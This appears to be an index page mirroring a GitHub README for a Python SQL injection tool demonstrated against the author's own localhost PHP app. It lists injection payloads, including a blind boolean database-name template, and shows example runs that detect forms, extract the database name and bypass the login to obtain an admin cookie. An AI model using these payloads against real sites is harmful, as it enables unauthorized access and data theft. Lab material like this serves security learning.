An open API service indexing awesome lists of open source software.

https://github.com/galihap76/web-app-sql-injection

This is my repo to hack my web app about vulnerability sql injection with python.
https://github.com/galihap76/web-app-sql-injection

exploitation hacking mysql php python3 sql-injection sql-injection-attacks sql-injection-exploitation vulnerability vulnerability-detection

Last synced: about 1 year ago
JSON representation

This is my repo to hack my web app about vulnerability sql injection with python.

Awesome Lists containing this project

README

          

# What is SQL injection (SQLi)?
SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behavior.

In some situations, an attacker can escalate an SQL injection attack to compromise the underlying server or other back-end infrastructure, or perform a denial-of-service attack. Learn more.

**Payloads**
```
'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
' OR 1 = 1 --
' OR BINARY substring(database(), %d, 1) = '%s' --
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
```

**Example**
- Scan Vulnerability Sql Injection
```
python3 main.py -s http://localhost/hacking/login.php
[!] Trying http://localhost/hacking/login.php"
[!] Trying http://localhost/hacking/login.php'
[+] Detected 1 forms on http://localhost/hacking/login.php.
```
- Hack Database With Sql Injection
```
python3 main.py -d http://localhost/hacking/login.php
hacking
```
- Bypass Login Website With Sql Injection
```
python3 main.py -f http://localhost/hacking/login.php
--------------------------------------------------
[+] Login success!
[+] Admin cookie: mkffq2vgo24is4jr782cuc6g2n


Dashboard

Hallo admin!


Data 1 : This is coffee


Data 2 : This is tea


Data 3 : This is orange


Logout

```

# Libraries
- Beautiful Soup
- Requests